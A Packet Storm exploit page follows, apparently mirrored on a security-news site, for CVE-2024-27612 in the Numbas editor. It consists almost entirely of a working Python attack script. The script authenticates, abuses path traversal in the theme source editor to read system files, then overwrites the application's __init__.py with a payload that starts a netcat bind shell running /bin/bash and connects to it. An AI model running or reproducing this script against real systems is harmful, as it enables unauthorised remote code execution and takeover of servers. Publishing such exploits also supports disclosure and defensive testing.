Security
Headlines
HeadlinesLatestCVEs

Headline

Numbas Remote Code Execution

Numbas versions prior to 7.3 suffer from a remote code execution vulnerability.

Packet Storm
#csrf#vulnerability#web#google#linux#git#rce#auth#webkit
# Exploit Title: Numbas < v7.3 - Remote Code Execution# Google Dork: N/A# Date: March 7th, 2024# Exploit Author: Matheus Boschetti# Vendor Homepage: https://www.numbas.org.uk/# Software Link: https://github.com/numbas/Numbas# Version: 7.2 and below# Tested on: Linux# CVE: CVE-2024-27612import sys, requests, re, argparse, subprocess, timefrom bs4 import BeautifulSoups = requests.session()def getCSRF(target):    url = f"http://{target}/"    req = s.get(url)    soup = BeautifulSoup(req.text, 'html.parser')    csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']    return csrfmiddlewaretokendef createTheme(target):    # Format request    csrfmiddlewaretoken = getCSRF(target)    theme = 'ExampleTheme'    boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1'    data = (        f'--{boundary}\r\n'        'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n'        '\r\n'        f'{csrfmiddlewaretoken}\r\n'        f'--{boundary}\r\n'        'Content-Disposition: form-data; name="name"\r\n'        '\r\n'        f'{theme}\r\n'        f'--{boundary}--\r\n'    )    headers = {'Content-Type': f'multipart/form-data; boundary={boundary}',               'User-Agent': 'Mozilla/5.0',               'Accept': '*/*',               'Connection': 'close'}    # Create theme and return its ID    req = s.post(f"http://{target}/theme/new/", headers=headers, data=data)    redir = req.url    split = redir.split('/')    id = split[4]    print(f"\t[i] Theme created with ID {id}")    return iddef login(target, user, passwd):    print("\n[i] Attempting to login...")    csrfmiddlewaretoken = getCSRF(target)    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,            'username': user,            'password': passwd,            'next': '/'}        # Login    login = s.post(f"http://{target}/login/", data=data, allow_redirects=True)    res = login.text    if("Logged in as" not in res):        print("\n\n[!] Login failed!")        sys.exit(-1)    # Check if logged and fetch ID    usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res)    if usermatch:        user = usermatch.group(1)        idmatch = re.search(r'<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res)        if idmatch:            id = idmatch.group(1)            print(f"\t[+] Logged in as \"{user}\" with ID {id}")def checkVuln(url):    print("[i] Checking if target is vulnerable...")    # Attempt to read files    themeID = createTheme(url)    target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.."    hname = s.get(f"{target}/etc/hostname")    ver = s.get(f"{target}/etc/issue")    hnamesoup = BeautifulSoup(hname.text, 'html.parser')    versoup = BeautifulSoup(ver.text, 'html.parser')    hostname = hnamesoup.find('textarea').get_text().strip()    version = versoup.find('textarea').get_text().strip()    if len(hostname) < 1:        print("\n\n[!] Something went wrong - target might not be vulnerable.")        sys.exit(-1)    print(f"\n[+] Target \"{hostname}\" is vulnerable!")    print(f"\t[i] Running: \"{version}\"")    # Cleanup - delete theme    print(f"\t\t[i] Cleanup: deleting theme {themeID}...")    target = f"http://{url}/themes/{themeID}/delete"    csrfmiddlewaretoken = getCSRF(url)    data = {'csrfmiddlewaretoken':csrfmiddlewaretoken}    s.post(target, data=data)def replaceInit(target):    # Overwrite __init__.py with arbitrary code    rport = '8443'    payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])"    csrfmiddlewaretoken = getCSRF(target)    filename = '../../../../numbas_editor/numbas/__init__.py'    themeID = createTheme(target)    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,            'source': payload,            'filename': filename}    print("[i] Delivering payload...")    # Retry 5 times in case something goes wrong...    for attempt in range(5):        try:            s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10)        except Exception as e:            pass        # Establish connection to bind shell    time.sleep(2)    print(f"\t[+] Payload delivered, establishing connection...\n")    if ":" in target:        split = target.split(":")        ip = split[0]    else:        ip = str(target)    subprocess.Popen(["nc", "-n", ip, rport])    while True:        passdef main():    parser = argparse.ArgumentParser()    if len(sys.argv) <= 1:        print("\n[!] No option provided!")        print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n")        print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty")        sys.exit(-1)    group = parser.add_mutually_exclusive_group(required=True)    group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit')    parser.add_argument('--target', help='Target IP:PORT')    parser.add_argument('--user', help='Username to authenticate')    parser.add_argument('--passwd', help='Password to authenticate')    args = parser.parse_args()    action = args.action    target = args.target    user = args.user    passwd = args.passwd    print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-")        if action == 'check':        login(target, user, passwd)        checkVuln(target)    elif action == 'exploit':        login(target, user, passwd)        replaceInit(target)    else:        sys.exit(-1)if __name__ == "__main__":    main()

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution